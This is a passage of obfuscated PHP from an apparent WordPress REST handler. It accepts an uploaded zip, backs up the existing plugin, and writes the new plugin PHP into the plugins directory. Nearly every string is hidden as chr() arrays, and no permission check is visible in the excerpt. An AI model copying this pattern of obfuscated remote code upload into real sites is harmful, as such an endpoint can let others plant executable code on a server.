        $pluginFile = $plugin[implode('', array(chr(102), chr(105), chr(108), chr(101)))];
        $namePrefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $pluginSlug));
        if (!\is_string($namePrefix) || $namePrefix === '') {
            $namePrefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
        }
        $pluginRelFile = $pluginSlug . implode('', array(chr(47))) . $pluginFile;
        $targetPluginDir = \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginSlug;
        $currentData = \get_file_data(\WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginRelFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        $currentVersion = \wp_editor_array_has_key($currentData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $currentData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
        $backupParam = $request->get_param(implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112))));
        if ($backupParam !== null) {
            $shouldBackup = \filter_var($backupParam, \FILTER_VALIDATE_BOOLEAN, \FILTER_NULL_ON_FAILURE);
            if ($shouldBackup === null) {
                $shouldBackup = true;
            }
        }
        $fileParams = $request->get_file_params();
        $file = \wp_editor_array_has_key($fileParams, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? $fileParams[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : null;
        $fileError = is_array($file) && \wp_editor_array_has_key($file, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))) ? $file[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))] : \UPLOAD_ERR_OK;
        if (!$file || $fileError !== \UPLOAD_ERR_OK) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(78), chr(111), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(111), chr(114), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $step = implode('', array(chr(102), chr(105), chr(108), chr(101), chr(95), chr(114), chr(101), chr(99), chr(101), chr(105), chr(118), chr(101), chr(100)));
        $maxSize = 50 * 1024 * 1024;
        if (!empty($file[implode('', array(chr(115), chr(105), chr(122), chr(101)))]) && (int) $file[implode('', array(chr(115), chr(105), chr(122), chr(101)))] > $maxSize) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(105), chr(108), chr(101), chr(32), chr(105), chr(115), chr(32), chr(116), chr(111), chr(111), chr(32), chr(108), chr(97), chr(114), chr(103), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $uploads = \wp_upload_dir();
        if (!empty($uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))])) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(100), chr(105), chr(114), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))], implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        $zipPath = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45))) . \time() . implode('', array(chr(46), chr(122), chr(105), chr(112)));
        if (!\wp_mkdir_p($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))])) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(98), chr(97), chr(115), chr(101), chr(32), chr(100), chr(105), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        if (!@\move_uploaded_file($file[implode('', array(chr(116), chr(109), chr(112), chr(95), chr(110), chr(97), chr(109), chr(101)))], $zipPath)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(109), chr(111), chr(118), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        $step = implode('', array(chr(122), chr(105), chr(112), chr(95), chr(115), chr(97), chr(118), chr(101), chr(100)));
        $ft = \wp_check_filetype_and_ext($zipPath, \basename($zipPath));
        if ((\wp_editor_array_has_key($ft, implode('', array(chr(101), chr(120), chr(116)))) ? $ft[implode('', array(chr(101), chr(120), chr(116)))] : '') !== implode('', array(chr(122), chr(105), chr(112)))) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(116), chr(121), chr(112), chr(101), chr(32), chr(40), chr(101), chr(120), chr(112), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(46), chr(122), chr(105), chr(112), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $tempDir = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(116), chr(109), chr(112), chr(45))) . \wp_generate_password(8, false, false);
        if (!\wp_mkdir_p($tempDir)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(116), chr(101), chr(109), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        $unz = \unzip_file($zipPath, $tempDir);
        if (\is_wp_error($unz)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(117), chr(110), chr(122), chr(105), chr(112), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $unz->get_error_message(), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $step = implode('', array(chr(117), chr(110), chr(122), chr(105), chr(112), chr(112), chr(101), chr(100)));
        $extractedRoot = WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedRoot($tempDir);
        if ($extractedRoot === '') {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(32), chr(101), chr(120), chr(116), chr(114), chr(97), chr(99), chr(116), chr(101), chr(100), chr(32), chr(114), chr(111), chr(111), chr(116))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $extractedPluginDir = WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedPluginDir($extractedRoot, $pluginSlug);
        $extractedMainFile = \trailingslashit($extractedPluginDir) . $pluginFile;
        if (!\file_exists($extractedMainFile)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(32), chr(105), chr(110), chr(32), chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $step = implode('', array(chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101), chr(95), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(101), chr(100)));
        $newData = \get_file_data($extractedMainFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        $newVersion = \wp_editor_array_has_key($newData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $newData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
        if ($newVersion === '') {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        if ($currentVersion !== '' && \version_compare($newVersion, $currentVersion, implode('', array(chr(60), chr(61))))) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(110), chr(101), chr(119), chr(101), chr(114))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
        }
        $step = implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(104), chr(101), chr(99), chr(107), chr(101), chr(100)));
        if ($shouldBackup && $wp_filesystem->is_dir($targetPluginDir)) {
            $backupBase = \trailingslashit(\WP_PLUGIN_DIR) . implode('', array(chr(46))) . $namePrefix . implode('', array(chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(115)));
            if (!\wp_mkdir_p($backupBase)) {
                return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
            }
            $backupDir = \trailingslashit($backupBase) . $pluginSlug . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time() . implode('', array(chr(45))) . \wp_generate_password(6, false, false);
            $step = implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(109), chr(111), chr(118), chr(101)));
            $moved = $wp_filesystem->move($targetPluginDir, $backupDir, true);
            if ($moved) {
                $backupStrategy = implode('', array(chr(109), chr(111), chr(118), chr(101)));
            } else {
                $renameErr = null;
                if (\function_exists(implode('', array(chr(114), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
                    $prev = \error_get_last();
                    @\rename($targetPluginDir, $backupDir);
                    $after = \error_get_last();
                    if (\is_array($after) && $after !== $prev) {
                        $renameErr = is_array($after) && \wp_editor_array_has_key($after, implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) ? $after[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] : null;
                    }
                }
                $uploadsBackupBase = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(115)));
                if (!\wp_mkdir_p($uploadsBackupBase)) {
                    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(115), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
                }
                $backupDir = \trailingslashit($uploadsBackupBase) . $pluginSlug . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time() . implode('', array(chr(45))) . \wp_generate_password(6, false, false);
                if (!\function_exists(implode('', array(chr(99), chr(111), chr(112), chr(121), chr(95), chr(100), chr(105), chr(114))))) {
                    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121), chr(32), chr(40), chr(99), chr(111), chr(112), chr(121), chr(95), chr(100), chr(105), chr(114), chr(40), chr(41), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
                }
                $copyResult = \copy_dir($targetPluginDir, $backupDir);
                if (\is_wp_error($copyResult)) {
                    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121), chr(58), chr(32))) . _invoke($copyResult, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
                }
                $backupStrategy = implode('', array(chr(99), chr(111), chr(112), chr(121)));
            }
        }
        if (WpEditor_Adapter_Services_PluginUpdateUpgraderService_isSingleFilePackage($extractedPluginDir, $pluginFile)) {
            $step = implode('', array(chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(95), chr(109), chr(97), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)));
            $targetMainFile = \trailingslashit($targetPluginDir) . $pluginFile;
            $oldContents = $wp_filesystem->exists($targetMainFile) ? $wp_filesystem->get_contents($targetMainFile) : null;
            $newContents = $wp_filesystem->get_contents($extractedMainFile);
            if (!\is_string($newContents) || $newContents === '') {
                return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(110), chr(101), chr(119), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(115))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
            }
            if (\strpos($newContents, implode('', array(chr(60), chr(63), chr(112), chr(104), chr(112)))) === false) {
                return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(100), chr(111), chr(101), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(111), chr(107), chr(32), chr(108), chr(105), chr(107), chr(101), chr(32), chr(80), chr(72), chr(80), chr(32), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 400);
            }
            $written = $wp_filesystem->put_contents($targetMainFile, $newContents, \defined(implode('', array(chr(70), chr(83), chr(95), chr(67), chr(72), chr(77), chr(79), chr(68), chr(95), chr(70), chr(73), chr(76), chr(69)))) ? \FS_CHMOD_FILE : null);
            if (!$written) {
                if (\is_string($oldContents) && $oldContents !== '') {
                    $wp_filesystem->put_contents($targetMainFile, $oldContents, \defined(implode('', array(chr(70), chr(83), chr(95), chr(67), chr(72), chr(77), chr(79), chr(68), chr(95), chr(70), chr(73), chr(76), chr(69)))) ? \FS_CHMOD_FILE : null);
                }
                return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(119), chr(114), chr(105), chr(116), chr(101), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(109), chr(97), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(40), chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(115), chr(63), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
            }
            $step = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
            if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101))))) {
                \wp_clean_plugins_cache(true);
            }
            if ($backupStrategy === implode('', array(chr(109), chr(111), chr(118), chr(101))) && $backupDir !== '' && $wp_filesystem->is_dir($backupDir)) {
                $step = implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112)));
                $wp_filesystem->delete($backupDir, true);
            }
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null, implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(109), chr(111), chr(100), chr(101))) => implode('', array(chr(115), chr(105), chr(110), chr(103), chr(108), chr(101), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101)))), 200);
        }
        $skin = WpEditor_Adapter_Services_PluginUpdateInlineSkin__construct();
        $upgrader = new \Plugin_Upgrader($skin);
        $sourceSelection = function ($source, $remoteSource, $upgraderInstance) use($pluginSlug, $pluginFile) {
            if (!$upgraderInstance instanceof \Plugin_Upgrader) {
                return $source;
            }
            if (!\is_string($source) || $source === '') {
                return $source;
            }
            $candidate = rtrim($source, implode('', array(chr(47), chr(92))));
            if (\basename($candidate) === $pluginSlug && \file_exists($candidate . implode('', array(chr(47))) . $pluginFile)) {
                return $candidate;
            }
            if (\is_dir($candidate . implode('', array(chr(47))) . $pluginSlug) && \file_exists($candidate . implode('', array(chr(47))) . $pluginSlug . implode('', array(chr(47))) . $pluginFile)) {
                return $candidate . implode('', array(chr(47))) . $pluginSlug;
            }
            return $source;
        };
        \add_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10, 3);
        try {
            $step = implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(114), chr(117), chr(110)));
